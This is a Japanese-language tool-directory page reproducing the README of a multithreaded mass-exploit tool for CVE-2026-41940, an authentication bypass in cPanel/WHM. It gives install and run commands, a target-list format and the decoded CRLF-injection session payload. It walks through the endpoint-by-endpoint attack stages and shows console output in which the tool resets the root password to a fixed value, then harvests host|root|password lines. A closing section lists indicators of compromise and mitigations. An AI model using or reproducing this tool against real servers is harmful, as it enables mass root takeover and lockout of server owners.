Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-41940 — cPanel/WHM 上の CVE-2026-41940 を標的としたバルクスキャナー兼一括エクスプロイトツール。自動化されたターゲット検証と高速マルチスレッド実行のために設計されています。 | Kitploit
ツール/GitHubGitHub/jenderal92/cve-2026-41940
脆弱性スキャナーエクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストコマンド&コントロール認証レッドチーミングペイロード開発
GitHubjenderal92/cve-2026-41940

CVE-2026-41940

cPanel/WHM 上の CVE-2026-41940 を標的としたバルクスキャナー兼一括エクスプロイトツール。自動化されたターゲット検証と高速マルチスレッド実行のために設計されています。

44264ヶ月前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-41940 - WHM/cPanel 認証バイパス一括エクスプロイト

43153

📋 説明

CVE-2026-41940 は、WHM/cPanel における重大な認証バイパス脆弱性であり、攻撃者が有効な認証情報なしで認証をバイパスし、サーバーの root アクセスを取得することを可能にします。この脆弱性は、セッション処理メカニズムにおける CRLF インジェクションを悪用して、悪意のあるセッションパラメータを注入します。

このツールは、複数のターゲットを同時にテストするためのマルチスレッド対応の一括エクスプロイト機能を提供し、インテリジェントな成功検出と無効なターゲットの自動フィルタリングを備えています。


🎯 主な機能

機能説明
✅ 一括エクスプロイトリストファイルから複数のターゲットをスキャンして悪用
🚀 マルチスレッド高速スキャンのためのスレッド数設定(デフォルト: 15)
🔐 自動パスワード変更悪用成功時に root パスワードを Jenderal92 に変更
🛡️ スマートな成功検出さまざまな WHM API レスポンス形式を自動検出
⚠️ ライセンスエラーフィルタリングライセンスエラー(無効/読み取り不可)のあるターゲットを除外
📝 構造化出力確認済みの成功のみを `domain:port
🛡️ SSL/TLS サポート自己署名証明書を自動処理
🔄 セッション管理セッション抽出、Cookie インジェクション、トークン処理を自動化
⏱️ タイムアウト制御接続タイムアウトの設定可能(デフォルト: 15 秒)
🔍 事前接続チェック悪用試行前にポートの利用可能性を確認
📊 リアルタイム進行状況各悪用段階の詳細な進行状況を表示

📦 必要条件

  • Python 2.7(必須 - Python 3.x とは非互換)
  • ターゲットへアクセスするためのインターネット接続
  • 必要なPython パッケージ:
pip install requests urllib3 futures

または requirements.txt を使用:

requests==2.27.1
urllib3==1.26.18
futures==3.4.0

📥 インストール

# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Install dependencies
pip install -r requirements.txt

# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py

🚀 使い方

1. ターゲットファイルを準備

1行に1つのターゲットを指定した targets.txt ファイルを作成します:

https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com

注記: ポート 2087 は WHM のデフォルトポートです。指定しない場合は自動的にポート 2087 が使用されます。HTTP/HTTPS プレフィックスが欠落している場合は自動的に追加されます。

2. エクスプロイトを実行

基本使用法(デフォルト設定)

python2 CVE-2026-41940.py targets.txt

マルチスレッド使用法

# Use 5 concurrent threads
python2 CVE-2026-41940.py targets.txt --threads 5

# Use 20 threads for faster scanning
python2 CVE-2026-41940.py targets.txt --threads 20

カスタムホスト名

# Override Host header for all targets
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10

カスタムタイムアウト

# Set timeout to 30 seconds for slow connections
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30

📊 コマンドライン引数

引数説明デフォルト必須
list_fileターゲットリストを含むファイル(1行に1つ)-✅ はい
--threads同時実行スレッド数15❌ いいえ
--hostnameすべてのターゲットの Host ヘッダーを上書き自動検出❌ いいえ
--timeout接続タイムアウト(秒)15❌ いいえ

📁 出力形式

結果ファイル(res.txt)

確認済みの悪用成功のみが保存されます。ライセンスエラー、パスワード変更失敗、接続問題のあるターゲットは自動的に除外されます。

形式:

domain:port|root|Jenderal92

出力例:

www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92

除外されるケース

以下のターゲットは res.txt に保存されません:

  • ライセンスエラー(Cannot Read License File)
  • パスワード変更の失敗
  • 接続タイムアウトまたは接続拒否
  • パッチ適用済み/WHM がないターゲット
  • 誤った認証情報またはセッション失敗

コンソール出力

$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED

==================================================

[*] Checking target: 127.0.0.1
    Original input: 127.0.0.1
    Normalized: https://127.0.0.1:2087
    Port 2087: OPEN
    Testing connection... OK (HTTP 200)

[0] hostname = example.com
[1] minting a preauth session...
    session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
    HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] attempting to change the root password
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!

[✓] SUCCESS & SAVED: 127.0.0.1:2087
    Saved to res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4

[+] Results saved to res.txt

Successfully exploited targets (password changed to Jenderal92):
  ✓ 127.0.0.1:2087

🔬 エクスプロイトの仕組み

エクスプロイトは、インテリジェントな検証を備えた4つの主要ステージで構成されています:

ステージ 1: 事前認証セッション

[1] minting a preauth session...
  • 無効な認証情報を含む POST リクエストを /login/?login_only=1 に送信
  • サーバーレスポンスから whostmgrsession Cookie を取得
  • 末尾の ,<obhex> 部分を削除してセッションベースを抽出
  • これにより、操作可能な有効なセッション形式が得られます

ステージ 2: CRLF インジェクション攻撃

[2] sending the CRLF injection...
  • 悪意のあるペイロードを含む Authorization: Basic ヘッダー付きの GET リクエストを送信
  • Base64 ペイロードは次のようにデコードされます:
    root:x
    successful_internal_auth_with_timestamp=9999999999
    user=root
    tfa_verified=1
    hasroot=1
    
  • CRLF(\r\n)文字が偽のセッションパラメータを注入
  • これにより、サーバーは認証が成功したと誤認します
  • サーバーは cp_security_token を含む Location ヘッダーとともに HTTP 307 で応答

ステージ 3: セッション伝播

[3] firing do_token_denied to propagate...
  • 操作された Cookie を使用して /scripts2/listaccts エンドポイントにアクセス
  • WHM の do_token_denied メカニズムをトリガー
  • これにより、注入されたセッションパラメータがサーバーのセッションキャッシュに伝播
  • "Token denied" を含む HTTP 401 レスポンスが伝播の成功を確認

ステージ 4: 検証とパスワード変更

[4] verifying we're WHM root...
  • root レベルのアクセスを検証するために /json-api/version にアクセス
  • /json-api/passwd API を呼び出して root パスワードを Jenderal92 に変更
  • 複数の WHM API レスポンス形式にわたって成功をインテリジェントに検出:
    • {"metadata": {"result": 1}}(cPanel v11.118+)
    • {"status": 1}(旧バージョン)
    • {"result": [{"status": 1}]}(レガシー形式)
    • テキストベースの成功メッセージ

自動フィルタリング

このツールは以下を自動的に除外します:

  • ライセンスエラー: {"status": 0, "statusmsg": "Cannot Read License File"}
  • パスワード変更の失敗: API が成功コードを返したがパスワードが変更されていない場合
  • 接続問題: タイムアウト、接続拒否、到達不能なホスト

🛡️ 検出と緩和策

侵害指標(IOC)

指標説明
異常な whostmgrsession Cookie適切な認証なしの異常な Cookie パターン
ヘッダー内の CRLF 文字HTTP ヘッダー内の \r\n シーケンスの検出
/scripts2/listaccts へのアクセスこのパスへの不正アクセス
パスワード Jenderal92この特定のパスワードを使用したログイン成功
cpsess トークンの漏えいLocation ヘッダーに表示されるセキュリティトークン
ログイン失敗後の成功誤ったパスワードで /login/?login_only=1 に POST した後、特権アクセス

監視するログ

# WHM access log
/usr/local/cpanel/logs/access_log

# cPanel error log  
/usr/local/cpanel/logs/error_log

# Authentication log
/var/log/secure

# System messages
/var/log/messages

緩和手順

  1. WHM/cPanel を直ちに最新のパッチ適用版に更新

    /usr/local/cpanel/scripts/upcp
    
  2. すべてのアカウント、特に root で二要素認証(2FA)を有効化

    WHM → Security Center → Two-Factor Authentication
    
  3. IP ホワイトリストでWHM アクセスを制限

    WHM → Security Center → Host Access Control
    
  4. 不審なパターンがないかアクセスログを定期的に監視

    tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
    
  5. 侵害が疑われる場合はすべてのパスワードを変更

  6. ファイアウォールルールを使用してポート 2087 へのアクセスを制限

    # Allow only trusted IPs
    iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
    iptables -A INPUT -p tcp --dport 2087 -j DROP
    
    # Or use CSF/LFD firewall
    csf -a YOUR_TRUSTED_IP
    
  7. CRLF インジェクションの試みを検出するWAF ルールを実装

  8. WHM/cPanel インストールの定期的なセキュリティ監査


ツールをダウンロード